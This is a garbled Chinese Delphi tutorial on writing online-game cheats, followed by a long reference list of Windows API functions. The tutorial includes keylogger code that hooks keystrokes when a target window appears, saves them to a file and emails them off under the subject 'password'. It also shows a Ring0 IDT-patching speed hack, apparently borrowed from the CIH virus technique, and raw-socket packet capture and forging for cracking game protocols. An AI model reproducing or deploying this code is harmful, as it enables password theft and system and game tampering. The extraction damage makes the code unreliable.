这里我们要通过写一个函数,来实现 而 HINSTANCE 这里我们直接用本程序的 HINSTANCE 就可以了,具体实现方法为: hHook := SetWindowsHookEx(WH_JOURNALRECORD, HookProc, HInstance, 0); 而 HOOKPROC 里的函数就要复杂一点点: function HookProc(iCode: wParam: wP lParam: lParam): LR begin if findedtitle then //如果发现窗口后 begin if (peventmsg(lparam)^.message = WM_KEYDOWN) then //消息等于键盘按下 hookkey := hookkey + Form1.Keyhookresult(peventMsg(lparam)^.paramL,peventmsg(lparam)^.paramH); //通过 keyhookresult(自定义的函数,主要功能是转换截获的消息参数为按键名称。我会 在文章尾附上转化函数的)转换消息。 if length(hookkey) & 0 then //如果获得按键名称 begin Write(hookkeyFile,hookkey); //把按键名称写入文本文件 hookkey := ''; 以上就是记录键盘的整个过程,简单吧,如果记录完可不要忘记释放呀, UnHookWindowsHookEx(hHook),而 hHOOK,就是创建 setwindowshookex 后所返回的句柄。我 们已经得到了键盘的记录,那么现在最后只要把记录的这些信息发送回来,我们就大功造成 了。其他发送这块并不是很难,只要把记录从文本文件里边读出来,用 DELPHI 自带的电子 邮件组件发一下就万事 OK 了。代码如下: assignfile(ReadFile,'hook.txt'); //打开 hook.txt 这个文本文件 reset(ReadFile); //设为读取方式 try While not Eof(ReadFile) do //当没有读到文件尾 begin Readln(ReadFile,s,j); //读取文件行 body:=body+s; finally closefile(ReadFile); //关闭文件 nmsmtp1.EncodeType:=uuM //设置编码 nmsmtp1.PostMessage.Attachments.Text:=''; //设置附件 nmsmtp1.PostMessage.FromAddress:=''; //设置源邮件地址 nmsmtp1.PostMessage.ToAddress.Text:=''; /设置目标邮件地址 nmsmtp1.PostMessage.Body.Text:='密码'+' '+ //设置邮件内容 nmsmtp1.PostMessage.Subject:='password'; //设置邮件标题 nmsmtp1.SendM //发送邮件 我一直没有搞懂制作加速外挂是怎么一回事,直到前不久又翻出来了2001年下半期的《程 序员合订本》 《&变速齿轮&研究手记》 中 重新回味了一遍, 才有了一点点开悟, 随后用 Delphi 重写了一遍,下面我就把我的心得说给大家听听,并且在此感谢《&变速齿轮&研究手记》作 者褚瑞大C给了提示。废话我就不多说了,那就开始神奇的加速型外挂体验之旅吧!原本我 一直以为加速外挂是针对某个游戏而写的,后来发现我这种概念是不对的,所谓加速外挂其 实是修改时钟频率达到加速的目的。以前 DOS 时代玩过编程的人就会马上想到,这很简单嘛 不就是直接修改一下8253寄存器嘛,这在以前 DOS 时代可能可以行得通,但是 windows 则不 然。windows 是一个32位的操作系统,并不是你想改哪就改哪的(微软的东东就是如此霸气, 说不给你改就不给你改^_^) ,但要改也不是不可能,我们可以通过两种方法来实现:第一是 写一个硬件驱动来完成,第二是用 Ring0来实现(这种方法是 CIH 的作者陈盈豪首用的,它 的原理是修改一下 IDT 表-&创建一个中断门-&进入 Ring0-&调用中断修改向量,但是没有办 法只能用 ASM 汇编来实现这一切*_*,做为高级语言使用者惨啦!,用第一种方法用点麻烦, ) 所以我们在这里就用第二种方法实现吧~~~ 在实现之前我们来理一下思路吧: 1、我们首先要写一个过程在这个过程里嵌入汇编语言来实现修改 IDE 表、创建中断门,修 改向量等工作 2、调用这个过程来实现加速功能好了,现在思路有了,我们就边看代码边讲解吧:首先我 们建立一个过程,这个过程就是本程序的核心部份: procedure SetRing(value:word); const ZDH = $03; // 设一个中断号 var IDT : array [0..5] // 保存 IDT 表 OG : //存放旧向量 begin asm push ebx sidt IDT //读入中断描述符表 mov ebx, dword ptr [IDT+2] //IDT 表基地址 add ebx, 8*ZDH //计算中断在中断描述符表中的位置 cli //关中断 mov dx, word ptr [ebx+6] shl edx, 16d mov dx, word ptr [ebx] mov [OG], edx mov eax, offset @@Ring0 //指向 Ring0级代码段 mov word ptr [ebx], ax //低16位,保存在1,2位 shr eax, 16d mov word ptr [ebx+6], ax //高16位,保存在6,7位 int ZDH //中断 mov ebx, dword ptr [IDT+2] //重新定位 add ebx, 8*ZDH mov edx, [OG] mov word ptr [ebx], dx shr edx, 16d mov word ptr [ebx+6], dx //恢复被改了的向量 pop ebx jmp @@exitasm //到 exitasm 处 @@Ring0: //Ring0,这个也是最最最核心的东东 mov al,$34 //写入8253控制寄存器 out $43,al mov ax,value //写入定时值out $40,al //写定时值低位 mov al,ah out $40,al //写定时值高位 iretd //返回 @@exitasm: 最核心的东西已经写完了,大部份读者是知其然不知其所以然吧,呵呵,不过不知其所以 然也然。下面我们就试着用一下这个过程来做一个类似于&变速齿轮&的一个东东吧!先加一 个窗口, 在窗口上放上一个 trackbar 控件把其 Max 设为20, 设为1, Position 设为10, Min 把 在这个控件的 Change 事件里写上: SetRing(strtoint('$'+inttostr(1742+(10-trackbar1.Position)*160))); 因为 windows 默认的值为$1742,所以我们把1742做为基数,又因为值越小越快,反之越慢 的原理,所以写了这样一个公式,好了,这就是&变速齿轮&的一个 Delphi+ASM 版了(只适 用于 win9X) ,呵呵,试一下吧,这对你帮助会很大的,呵呵。在 win2000里,我们不可能实 现在直接对端口进行操作,Ring0也失了效,有的人就会想到,我们可以写驱动程序来完成 呀,但在这里我告诉你,windows2000的驱动不是一个 VxD 就能实现的,像我这样的低手是 写不出 windows 所用的驱动 WDM 的,没办法,我只有借助外力实现了,ProtTalk 就是一个很 好的设备驱动,他很方便的来实现对低层端口的操作,从而实现加速外挂。 1、我们首先要下一个 PortTalk 驱动,他的官方网站是 http://www.beyondlogic.org 2、我们要把里面的 prottalk.sys 拷贝出来。 3 、 建 立 一 个 Protalk.sys 的 接 口 ( 我 想 省 略 了 , 大 家 可 以 上http://www.freewebs.com/liuyue/porttalk.pas 下个 pas 文件自己看吧) 4、实现加速外挂。 本来就篇就是补充篇原理我也不想讲太多了,下面就讲一下这程序的实现方法吧,如果说用 ProtTalk 来操作端口就容易多了,比 win98下用 ring 权限操作方便。 1、 新建一个工程, 把刚刚下的接口文件和 Protalk.sys 一起拷到工程文件保存的文件夹下。 2、我们在我们新建的工程加入我们的接口文件 uses windows,ProtTalk?? 3、我们建立一个过程 procedure SetRing(value:word); begin if not OpenPortT outportb($43,$34); outportb($40,lo(Value)); outprotb($40,hi(value)); ClosePortT 4、 先加一个窗口, 在窗口上放上一个 trackbar 控件把其 Max 设为20, 设为1, Position Min 把 设为10,在这个控件的 Change 事件里写上: SetRing(strtoint('$'+inttostr(1742+(10-trackbar1.Position)*160))); 网络游戏的封包技术是大多数编程爱好者都比较关注的关注的问题之一,在这一篇里就让 我们一起研究一下这一个问题吧。别看这是封包这一问题,但是涉及的技术范围很广范,实 现的方式也很多(比如说 APIHOOK,VXD,Winsock2都可以实现) ,在这里我们不可能每种技术 和方法都涉及,所以我在这里以 Winsock2技术作详细讲解,就算作抛砖引玉。由于大多数读 者对封包类编程不是很了解,我在这里就简单介绍一下相关知识: APIHooK:由于 Windows 的把内核提供的功能都封装到 API 里面,所以大家要实现功能就必 须通过 API,换句话说就是我们要想捕获数据封包,就必须先要得知道并且捕获这个 API, 从 API 里面得到封包信息。 VXD:直接通过控制 VXD 驱动程序来实现封包信息的捕获,不过 VXD 只能用于 win9X。 winsock2: winsock 是 Windows 网络编程接口,winsock 工作在应用层,它提供与底层传 输协议无关的高层数据传输编程接口,winsock2是 winsock2.0提供的服务提供者接口,但只 能在 win2000下用。好了,我们开始进入 winsock2封包式编程吧。在封包编程里面我准备分 两个步骤对大家进行讲解:1、封包的捕获,2、封包的发送。首先我们要实现的是封包的捕 获: Delphi 的封装的 winsock 是1.0版的,很自然 winsock2就用不成。如果要使用 winsock2我 们要对 winsock2在 Delphi 里面做一个接口,才可以使用 winsock2。 1、如何做 winsock2的接口? 1)我们要先定义 winsock2.0所用得到的类型,在这里我们以 WSA_DATA 类型做示范,大家 可以举一仿三的来实现 winsock2其他类型的封装。我们要知道 WSA_DATA 类型会被用于 WSAStartup(wVersionRequired: var WSData: TWSAData): I ,大家会发现 WSData 是引用参数,在传入参数时传的是变量的地址,所以我们对 WSA_DATA 做以下封装: const WSADESCRIPTION_LEN = 256; WSASYS_STATUS_LEN = 128; type PWSA_DATA = ^TWSA_DATA; WSA_DATA = record wVersion: W wHighVersion: W szDescription: array[0..WSADESCRIPTION_LEN] of C szSystemStatus: array[0..WSASYS_STATUS_LEN] of C iMaxSockets: W iMaxUdpDg: W lpVendorInfo: PC TWSA_DATA = WSA_DATA; 2)我们要从 WS2_32.DLL 引入 winsock2的函数,在此我们也是以 WSAStartup 为例做函数引 入: function WSAStartup(wVersionRequired: var WSData: TWSAData): I implementation const WinSocket2 = 'WS2_32.DLL'; function WSAS external winsocket name 'WSAStartup'; 通过以上方法, 我们便可以对 winsock2做接口, 下面我们就可以用 winsock2做封包捕获了, 不过首先要有一块网卡。因为涉及到正在运作的网络游戏安全问题,所以我们在这里以 IP 数据包为例做封包捕获,如果下面的某些数据类型您不是很清楚,请您查阅 MSDN: 1)我们要起动 WSA,这时个要用到的 WSAStartup 函数,用法如下: INTEGER WSAStartup( wVersionRequired: word, WSData: TWSA_DATA ); 2 ) 使 用 socket 函 数 得 到 socket 句 柄 , m_hSocket:=Socket(AF_INET, SOCK_RAW, IPPROTO_IP); 用法如下: INTEGER socket(af: Integer, Struct: Integer, protocol: Integer ); m_hSocket:=Socket(AF_INET, SOCK_RAW, IPPROTO_IP); 在程序里 m_hSocket 为 socket 句柄,AF_INET,SOCK_RAW,IPPROTO_IP 均为常量。 3)定义 SOCK_ADDR 类型,跟据我们的网卡 IP 给 Sock_ADDR 类型附值,然后我们使用 bind 函数来绑定我们的网卡,Bind 函数用法如下: Type IN_ADDR = record S_addr : PC E Type TSOCK_ADDR = record sin_family: W sin_port: W sin_addr : IN_ADDR sin_zero: array[0..7] of C E var LocalAddr:TSOCK_ADDR; LocalAddr.sin_family: = AF_INET; LocalAddr.sin_port: = 0; LocalAddr.sin_addr.S_addr: = inet_addr('192.168.1.1'); //这里你自己的网卡的 IP 地址,而 inet_addr 这个函数是 winsock2的函数。 bind(m_hSocket, LocalAddr, sizeof(LocalAddr)); 4)用 WSAIoctl 来注册 WSA 的输入输出组件,其用法如下: INTEGER WSAIoctl(s:INTEGER, dwIoControlCode : INTEGER, lpvInBuffer :INTEGER, cbInBuffer : INTEGER, lpvOutBuffer : INTEGER, cbOutBuffer: INTEGER,lpcbBytesReturned : INTEGER, lpOverlapped : INTEGER, lpCompletionRoutine : INTEGER ); 5)下面做死循环,在死循环块里,来实现数据的接收。但是徇环中间要用 Sleep()做延时, 不然程序会出错。 6)在循环块里, recv 函数来接收数据, 用 recv 函数用法如下: INTEGER recv (s : INTEGER, buffer:Array[0..4095] of byte, length : INTEGER, flags : INTEGER, ); 7)在 buffer 里就是我们接收回来的数据了,如果我们想要知道数据是什么地方发来的,那 么,我们要定义一定 IP 包结构,用 CopyMemory()把 IP 信息从 buffer 里面读出来就可以了, 不过读出来的是十六进制的数据需要转换一下。 看了封包捕获的全过程序,对你是不是有点起发,然而在这里要告诉大家的是封包的获得 是很容易的,但是许多游戏的封包都是加密的,如果你想搞清楚所得到的是什么内容还需要 自己进行封包解密。 在本章中,我们主要来研究一下封包的制作和发送,同样,我们所采用的方法是 Delphi+winsock2来制作。在以前说过在 Delphi 中只封装了 winsock1,winsock2需要自已封 装一下, 我在此就不多介绍如何封装了。 下面就一步步实现我们的封包封装与发送吧: 首先, 我们应该知道,封包是分两段的,一段是 IP,一段是协议(TCP,UDP,其他协议) ,IP 就像 邮政编码一样,标识着你的这个封包是从哪里到哪里,而协议里记录着目标所要用到的包的 格式及校验等,在网络游戏中的协议一般都是自已定义的,要破解网络游戏最重要的是学会 破解网络游戏的协议网络游戏协议破解,为了不影响现运行的网络游戏的安全,我在此会以 UDP 协议为例,介绍一下网络协议的封包与发送的全过程。接下来,我们就可以开始看看整 个封包全过程了: 1)我们要起动 sock2,这时个要用到的 WSAStartup 函数,用法如下: INTEGER WSAStartup( wVersionRequired: word, WSData: TWSA_DATA ); 在程序中 wVersionRequired 我们传入的值为$0002,WSData 为 TWSA_DATA 的结构。 2)使用 socket 函数创建并得到 socket 句柄; 用法如下: INTEGER socket(af: Integer, Struct: Integer, protocol: Integer ); 注意的是在我 们的程序封包中饱含了 IP 包头,所以我们的 Struct 参数这里要传入的参数值为2,表示包 含了包头。该函数返回值为刚刚创建的 winsocket 的句柄。 3)使用 setsockopt 函数设置 sock 的选项; 用法如下: INTEGER setsockopt(s: Integer, level: Integer, optname: Integer, optval: PChar, optlen: Integer ); 在 S 处传入的是 Socket 句柄,在本程序里 level 输入的值为0表示 IP(如果是6表示 TCP, 17表示 UDP 等~) ,OptName 里写入2,而 optval 的初始值填入1,optlen 为 optval 的大小。 4)接下来我们要分几个步骤来实现构建封包: 1、把 IP 转换成 sock 地址,用 inet_addr 来转换。 Longint inet_addr( cp: PChar ); 2、定义包的总大小、IP 的版本信息为 IP 结构:总包大小=IP 头的大小+UDP 头的大小+UDP 消息的大小, IP 的版本,在此程序里定义为4 3、填写 IP 包头的结构: ip.ipverlen := IP 的版本 shl 4; ip.iptos := 0; // IP 服务类型 ip.iptotallength := ; // 总包大小 ip.ipid := 0; // 唯一标识,一般设置为0 ip.ipoffset := 0; // 偏移字段 ip.ipttl := 128; // 超时时间 ip.ipprotocol := $11; // 定义协议 ip.ipchecksum := 0 ; // 检验总数 ip.ipsrcaddr := ; // 源地址 ip.ipdestaddr := ; // 目标地址 4、填写 UDP 包头的结构: udp.srcportno := ; //源端口号 udp.dstportno := ; //目标端口号 udp.udplength := ; //UDP 包的大小 udp.udpchecksum := ; //检验总数 5、把 IP 包头,UDP 包头及消息,放入缓存。 6、定义远程信息: remote.family := 2; remote.port :=; //远程端口 remote.addr.addr :=; //远程地址 5)我们用 SendTo 发送封包,用法如下: INTEGER sendto(s: Integer, var Buf: Integer, var len: Integer, var flags: Integer, var addrto: TSock_A tolen: Integer ); 在 S 处传入的是 Socket 句柄,Buf 是刚刚建 好的封包,len 传入封包的总长度刚刚计算过了,flag 是传入标记在这里我们设为0,addto 发送到的目标地址,在这里我们就传入 remote 就可以了,tolen 写入的是 remote 的大小。 6)到了最后别忘记了用 CloseSocket(sh)关了 socket 和用 WSACleanup 关了 winsock。 最 后要说的是这种发送方式,只能发送完全被破解的网络协议,如果要在别人的程序中间发送 数据就只有用 APIHOOK 或在 winsock2做中间层了。 API 函数大全作者: 加入时间:1. API 之网络函数WNetAddConnection 创建同一个网络资源的永久性连接 WNetAddConnection2 创建同一个网络资源的连接 WNetAddConnection3 创建同一个网络资源的连接 WNetCancelConnection 结束一个网络连接 WNetCancelConnection2 结束一个网络连接 WNetCloseEnum 结束一次枚举操作 WNetConnectionDialog 启动一个标准对话框,以便建立同网络资源的连接 WNetDisconnectDialog 启动一个标准对话框,以便断开同网络资源的连接 WNetEnumResource 枚举网络资源 WNetGetConnection 获取本地或已连接的一个资源的网络名称 WNetGetLastError 获取网络错误的扩展错误信息 WNetGetUniversalName 获取网络中一个文件的远程名称以及/或者 UNC 统一命名规范) ( 名称 WNetGetUser 获取一个网络资源用以连接的名字 WNetOpenEnum 启动对网络资源进行枚举的过程2. API 之消息函数BroadcastSystemMessage 将一条系统消息广播给系统中所有的顶级窗口 GetMessagePos 取得消息队列中上一条消息处理完毕时的鼠标指针屏幕位置 GetMessageTime 取得消息队列中上一条消息处理完毕时的时间 PostMessage 将一条消息投递到指定窗口的消息队列 PostThreadMessage 将一条消息投递给应用程序 RegisterWindowMessage 获取分配给一个字串标识符的消息编号 ReplyMessage 答复一个消息 SendMessage 调用一个窗口的窗口函数,将一条消息发给那个窗口 SendMessageCallback 将一条消息发给窗口 SendMessageTimeout 向窗口发送一条消息 SendNotifyMessage 向窗口发送一条消息3. API 之文件处理函数CloseHandle 关闭一个内核对象。其中包括文件、文件映射、进程、线程、安全和同步 对象等 CompareFileTime 对比两个文件的时间 CopyFile 复制文件 CreateDirectory 创建一个新目录 CreateFile 打开和创建文件、管道、邮槽、通信服务、设备以及控制台 CreateFileMapping 创建一个新的文件映射对象 DeleteFile 删除指定文件 DeviceIoControl 对设备执行指定的操作 DosDateTimeToFileTime 将 DOS 日期和时间值转换成一个 win32 FILETIME 值 FileTimeToDosDateTime 将一个 win32 FILETIME 值转换成 DOS 日期和时间值 FileTimeToLocalFileTime 将一个 FILETIME 结构转换成本地时间 FileTimeToSystemTime 根据一个 FILETIME 结构的内容,装载一个 SYSTEMTIME 结构 FindClose 关闭由 FindFirstFile 函数创建的一个搜索句柄 FindFirstFile 根据文件名查找文件 FindNextFile 根据调用 FindFirstFile 函数时指定的一个文件名查找下一个文件 FlushFileBuffers 针对指定的文件句柄,刷新内部文件缓冲区 FlushViewOfFile 将写入文件映射缓冲区的所有数据都刷新到磁盘 GetBinaryType 判断文件是否可以执行 GetCompressedFileSize 判断一个压缩文件在磁盘上实际占据的字节数 GetCurrentDirectory 在一个缓冲区中装载当前目录 GetDiskFreeSpace 获取与一个磁盘的组织有关的信息,以及了解剩余空间的容量 GetDiskFreeSpaceEx 获取与一个磁盘的组织以及剩余空间容量有关的信息 GetDriveType 判断一个磁盘驱动器的类型 GetExpandedName 取得一个压缩文件的全名 GetFileAttributes 判断指定文件的属性 GetFileInformationByHandle 这个函数提供了获取文件信息的一种机制 GetFileSize 判断文件长度 GetFileTime 取得指定文件的时间信息 GetFileType 在给出文件句柄的前提下,判断文件类型 GetFileVersionInfo 从支持版本标记的一个模块里获取文件版本信息 GetFileVersionInfoSize 针对包含了版本资源的一个文件,判断容纳文件版本信息需 要一个多大的缓冲区 GetFullPathName 获取指定文件的完整路径名 GetLogicalDrives 判断系统中存在哪些逻辑驱动器字母 GetLogicalDriveStrings 获取一个字串,其中包含了当前所有逻辑驱动器的根驱动器 路径 GetOverlappedResult 判断一个重叠操作当前的状态 GetPrivateProfileInt 为初始化文件(.ini 文件)中指定的条目获取一个整数值 GetPrivateProfileSection 获取指定小节(在.ini 文件中)所有项名和值的一个列表GetPrivateProfileString 为初始化文件中指定的条目取得字串 GetProfileInt 取得 win.ini 初始化文件中指定条目的一个整数值 GetProfileSection 获取指定小节(在 win.ini 文件中)所有项名和值的一个列表 GetProfileString 为 win.ini 初始化文件中指定的条目取得字串 GetShortPathName 获取指定文件的短路径名 GetSystemDirectory 取得 Windows 系统目录(即 System 目录)的完整路径名 GetTempFileName 这个函数包含了一个临时文件的名字,它可由应用程序使用 GetTempPath 获取为临时文件指定的路径 GetVolumeInformation 获取与一个磁盘卷有关的信息 GetWindowsDirectory 获取 Windows 目录的完整路径名 hread 参考 lread hwrite 参考 lwrite 函数 lclose 关闭指定的文件 lcreat 创建一个文件 llseek 设置文件中进行读写的当前位置 LockFile 锁定文件的某一部分,使其不与其他应用程序共享 LockFileEx 与 LockFile 相似,只是它提供了更多的功能 lopen 以二进制模式打开指定的文件 lread 将文件中的数据读入内存缓冲区 lwrite 将数据从内存缓冲区写入一个文件 LZClose 关闭由 LZOpenFile 或 LZInit 函数打开的一个文件 LZCopy 复制一个文件 LZInit 这个函数用于初始化内部缓冲区 LZOpenFile 该函数能执行大量不同的文件处理,而且兼容于压缩文件 LZRead 将数据从文件读入内存缓冲区 LZSeek 设置一个文件中进行读写的当前位置 MapViewOfFile 将一个文件映射对象映射到当前应用程序的地址空间 MoveFile 移动文件 OpenFile 这个函数能执行大量不同的文件操作 OpenFileMapping 打开一个现成的文件映射对象 QueryDosDevice 在 Windows NT 中,DOS 设备名会映射成 NT 系统设备名。该函数可判 断当前的设备映射情况 ReadFile 从文件中读出数据 ReadFileEx 与 ReadFile 相似,只是它只能用于异步读操作,并包含了一个完整的回调RegCloseKey 关闭系统注册表中的一个项(或键) RegConnectRegistry 访问远程系统的部分注册表 RegCreateKey 在指定的项下创建或打开一个项 RegCreateKeyEx 在指定项下创建新项的更复杂的方式。在 Win32环境中建议使用这个 函数 RegDeleteKey 删除现有项下方一个指定的子项 RegDeleteValue 删除指定项下方的一个值 RegEnumKey 枚举指定项的子项。在 Win32环境中应使用 RegEnumKeyEx RegEnumKeyEx 枚举指定项下方的子项 RegEnumValue 枚举指定项的值 RegFlushKey 将对项和它的子项作出的改动实际写入磁盘 RegGetKeySecurity 获取与一个注册表项有关的安全信息 RegLoadKey 从以前用 RegSaveKey 函数创建的一个文件里装载注册表信息 RegNotifyChangeKeyValue 注册表项或它的任何一个子项发生变化时, 用这个函数提供 一种通知机制 RegOpenKey 打开一个现有的注册表项 RegOpenKeyEx 打开一个现有的项。在 win32下推荐使用这个函数 RegQueryInfoKey 获取与一个项有关的信息 RegQueryValue 取得指定项或子项的默认(未命名)值 RegQueryValueEx 获取一个项的设置值 RegReplaceKey 用一个磁盘文件保存的信息替换注册表信息;并创建一个备份,在其中 包含当前注册表信息 RegRestoreKey 从一个磁盘文件恢复注册表信息 RegSaveKey 将一个项以及它的所有子项都保存到一个磁盘文件 RegSetKeySecurity 设置指定项的安全特性 RegSetValue 设置指定项或子项的默认值 RegSetValueEx 设置指定项的值 RegUnLoadKey 卸载指定的项以及它的所有子项 RemoveDirectory 删除指定目录 SearchPath 查找指定文件 SetCurrentDirectory 设置当前目录 SetEndOfFile 针对一个打开的文件,将当前文件位置设为文件末尾 SetFileAttributes 设置文件属性 SetFilePointer 在一个文件中设置当前的读写位置 SetFileTime 设置文件的创建、访问及上次修改时间 SetHandleCount 这个函数不必在 win32下使用;即使使用,也不会有任何效果 SetVolumeLabel 设置一个磁盘的卷标(Label) SystemTimeToFileTime 根据一个 FILETIME 结构的内容,载入一个 SYSTEMTIME 结构 UnlockFile 解除对一个文件的锁定 UnlockFileEx 解除对一个文件的锁定 UnmapViewOfFile 在当前应用程序的内存地址空间解除对一个文件映射对象的映射 VerFindFile 用这个函数决定一个文件应安装到哪里 VerInstallFile 用这个函数安装一个文件 VerLanguageName 这个函数能根据16位语言代码获取一种语言的名称 VerQueryValue 这个函数用于从版本资源中获取信息 WriteFile 将数据写入一个文件 WriteFileEx 与 WriteFile 类似,只是它只能用于异步写操作,并包括了一个完整的回 调 WritePrivateProfileSection 为一个初始化文件(.ini)中指定的小节设置所有项名 和值 WritePrivateProfileString 在初始化文件指定小节内设置一个字串 WriteProfileSection 为 Win.ini 初始化文件中一个指定的小节设置所有项名和值 WriteProfileString 在 Win.ini 初始化文件指定小节内设置一个字串4. API 之打印函数 AbortDoc 取消一份文档的打印 AbortPrinter 删除与一台打印机关联在一起的缓冲文件 AddForm 为打印机的表单列表添加一个新表单 AddJob 用于获取一个有效的路径名,以便用它为作业创建一个后台打印文件。它也会 为作业分配一个作业编号 AddMonitor 为系统添加一个打印机监视器 AddPort 启动“添加端口”对话框,允许用户在系统可用端口列表中加入一个新端口 AddPrinter 在系统中添加一台新打印机 AddPrinterConnection 连接指定的打印机 AddPrinterDriver 为指定的系统添加一个打印驱动程序 AddPrintProcessor 为指定的系统添加一个打印处理器 AddPrintProvidor 为系统添加一个打印供应商 AdvancedDocumentProperties 启动打印机文档设置对话框 ClosePrinter 关闭一个打开的打印机对象 ConfigurePort 针对指定的端口,启动一个端口配置对话框 ConnectToPrinterDlg 启动连接打印机对话框,用它同访问网络的打印机连接 DeleteForm 从打印机可用表单列表中删除一个表单 DeleteMonitor 删除指定的打印监视器 DeletePort 启动“删除端口”对话框,允许用户从当前系统删除一个端口 DeletePrinter 将指定的打印机标志为从系统中删除 DeletePrinterConnection 删除与指定打印机的连接 DeletePrinterDriver 从系统删除一个打印机驱动程序 DeletePrintProcessor 从指定系统删除一个打印处理器 DeletePrintProvidor 从系统中删除一个打印供应商 DeviceCapabilities 利用这个函数可获得与一个设备的能力有关的信息 DocumentProperties 打印机配置控制函数 EndDocAPI 结束一个成功的打印作业 EndDocPrinter 在后台打印程序的级别指定一个文档的结束 EndPage 用这个函数完成一个页面的打印,并准备设备场景,以便打印下一个页 EndPagePrinter 指定一个页在打印作业中的结尾 EnumForms 枚举一台打印机可用的表单 EnumJobs 枚举打印队列中的作业 EnumMonitors 枚举可用的打印监视器 EnumPorts 枚举一个系统可用的端口 EnumPrinterDrivers 枚举指定系统中已安装的打印机驱动程序 EnumPrinters 枚举系统中安装的打印机 EnumPrintProcessorDatatypes 枚举由一个打印处理器支持的数据类型 EnumPrintProcessors 枚举系统中可用的打印处理器 Escape 设备控制函数 FindClosePrinterChangeNotification 关闭用 FindFirstPrinterChangeNotification 函数获取的一个打印机通告对象 FindFirstPrinterChangeNotification 创建一个新的改变通告对象,以便我们注意打 印机状态的各种变化 FindNextPrinterChangeNotification 用这个函数判断触发一次打印机改变通告信号 的原因 FreePrinterNotifyInfo 释放由 FindNextPrinterChangeNotification 函数分配的一 个缓冲区 GetForm 取得与指定表单有关的信息 GetJob 获取与指定作业有关的信息 GetPrinter 取得与指定打印机有关的信息 GetPrinterData 为打印机设置注册表配置信息 GetPrinterDriver 针对指定的打印机,获取与打印机驱动程序有关的信息 GetPrinterDriverDirectory 判断指定系统中包含了打印机驱动程序的目录是什么 GetPrintProcessorDirectory 判断指定系统中包含了打印机处理器驱动程序及文件的 目录 OpenPrinter 打开指定的打印机,并获取打印机的句柄 PrinterMessageBox 在拥有指定打印作业的系统上显示一个打印机出错消息框 PrinterProperties 启动打印机属性对话框,以便对打印机进行配置 ReadPrinter 从打印机读入数据 ResetDC 重设一个设备场景 ResetPrinter 改变指定打印机的默认数据类型及文档设置 ScheduleJob 提交一个要打印的作业 SetAbortProc 为 Windows 指定取消函数的地址 SetForm 为指定的表单设置信息 SetJob 对一个打印作业的状态进行控制 SetPrinter 对一台打印机的状态进行控制 SetPrinterData 设置打印机的注册表配置信息 StartDoc 开始一个打印作业 StartDocPrinter 在后台打印的级别启动一个新文档 StartPage 打印一个新页前要先调用这个函数 StartPagePrinter 在打印作业中指定一个新页的开始 WritePrinter 将发送目录中的数据写入打印机5. API 之文本和字体函数AddFontResource 在 Windows 系统中添加一种字体资源 CreateFont 用指定的属性创建一种逻辑字体 CreateFontIndirect 用指定的属性创建一种逻辑字体 CreateScalableFontResource 为一种 TureType 字体创建一个资源文件,以便能用 API 函数 AddFontResource 将其加入 Windows 系统 DrawText 将文本描绘到指定的矩形中 DrawTextEx 与 DrawText 相似,只是加入了更多的功能 EnumFontFamilies 列举指定设备可用的字体 EnumFontFamiliesEx 列举指定设备可用的字体 EnumFonts 列举指定设备可用的字体 ExtTextOut 经过扩展的文本描绘函数。也请参考 SetTextAlign 函数 GetAspectRatioFilterEx 用 SetMapperFlags 要求 Windows 只选择与设备当前纵横比相 符的光栅字体时,本函数可判断纵横比大小 GetCharABCWidths 判断 TureType 字体中一个或多个字符的 A-B-C 大小 GetCharABCWidthsFloat 查询一种字体中一个或多个字符的 A-B-C 尺寸 GetCharacterPlacement 该函数用于了解如何用一个给定的字符显示一个字串 GetCharWidth 调查字体中一个或多个字符的宽度 GetFontData 接收一种可缩放字体文件的数据 GetFontLanguageInfo 返回目前选入指定设备场景中的字体的信息 GetGlyphOutline 取得 TureType 字体中构成一个字符的曲线信息 GetKerningPairs 取得指定字体的字距信息 GetOutlineTextMetrics 接收与 TureType 字体内部特征有关的详细信息 GetRasterizerCaps 了解系统是否有能力支持可缩放的字体 GetTabbedTextExtent 判断一个字串占据的范围,同时考虑制表站扩充的因素 GetTextAlign 接收一个设备场景当前的文本对齐标志 GetTextCharacterExtra 判断额外字符间距的当前值 GetTextCharset 接收当前选入指定设备场景的字体的字符集标识符 GetTextCharsetInfo 获取与当前选定字体的字符集有关的详细信息 GetTextColor 判断当前字体颜色。通常也称为“前景色” GetTextExtentExPoint 判断要填入指定区域的字符数量。也用一个数组装载每个字符 的范围信息 GetTextExtentPoint 判断一个字串的大小(范围) GetTextFace 获取一种字体的字样名 GetTextMetrics 获取与选入一种设备场景的物理字体有关的信息 GrayString 描绘一个以灰色显示的字串。通常由 Windows 用于标识禁止状态 PolyTextOut 描绘一系列字串 RemoveFontResource 从 Windows 系统中删除一种字体资源 SetMapperFlags Windows 对字体进行映射时,可用该函数选择与目标设备的纵横比相 符的光栅字体 SetTextAlign 设置文本对齐方式, 并指定在文本输出过程中使用设备场景的当前位置 SetTextCharacterExtra 描绘文本的时候,指定要在字符间插入的额外间距 SetTextColor 设置当前文本颜色。这种颜色也称为“前景色” SetTextJustification 通过指定一个文本行应占据的额外空间,可用这个函数对文本 进行两端对齐处理 TabbedTextOut 支持制表站的一个文本描绘函数 TextOut 文本绘图函数6. API 之菜单函数AppendMenu 在指定的菜单里添加一个菜单项 CheckMenuItem 复选或撤消复选指定的菜单条目 CheckMenuRadioItem 指定一个菜单条目被复选成“单选”项目 CreateMenu 创建新菜单 CreatePopupMenu 创建一个空的弹出式菜单 DeleteMenu 删除指定的菜单条目 DestroyMenu 删除指定的菜单 DrawMenuBar 为指定的窗口重画菜单 EnableMenuItem 允许或禁止指定的菜单条目 GetMenu 取得窗口中一个菜单的句柄 GetMenuCheckMarkDimensions 返回一个菜单复选符的大小 GetMenuContextHelpId 取得一个菜单的帮助场景 ID GetMenuDefaultItem 判断菜单中的哪个条目是默认条目 GetMenuItemCount 返回菜单中条目(菜单项)的数量 GetMenuItemID 返回位于菜单中指定位置处的条目的菜单 ID GetMenuItemInfo 取得(接收)与一个菜单条目有关的特定信息 GetMenuItemRect 在一个矩形中装载指定菜单条目的屏幕坐标信息 GetMenuState 取得与指定菜单条目状态有关的信息 GetMenuString 取得指定菜单条目的字串 GetSubMenu 取得一个弹出式菜单的句柄,它位于菜单中指定的位置 GetSystemMenu 取得指定窗口的系统菜单的句柄 HiliteMenuItem 控制顶级菜单条目的加亮显示状态 InsertMenu 在菜单的指定位置处插入一个菜单条目, 并根据需要将其他条目向下移动 InsertMenuItem 插入一个新菜单条目 IsMenu 判断指定的句柄是否为一个菜单的句柄 LoadMenu 从指定的模块或应用程序实例中载入一个菜单 LoadMenuIndirect 载入一个菜单 MenuItemFromPoint 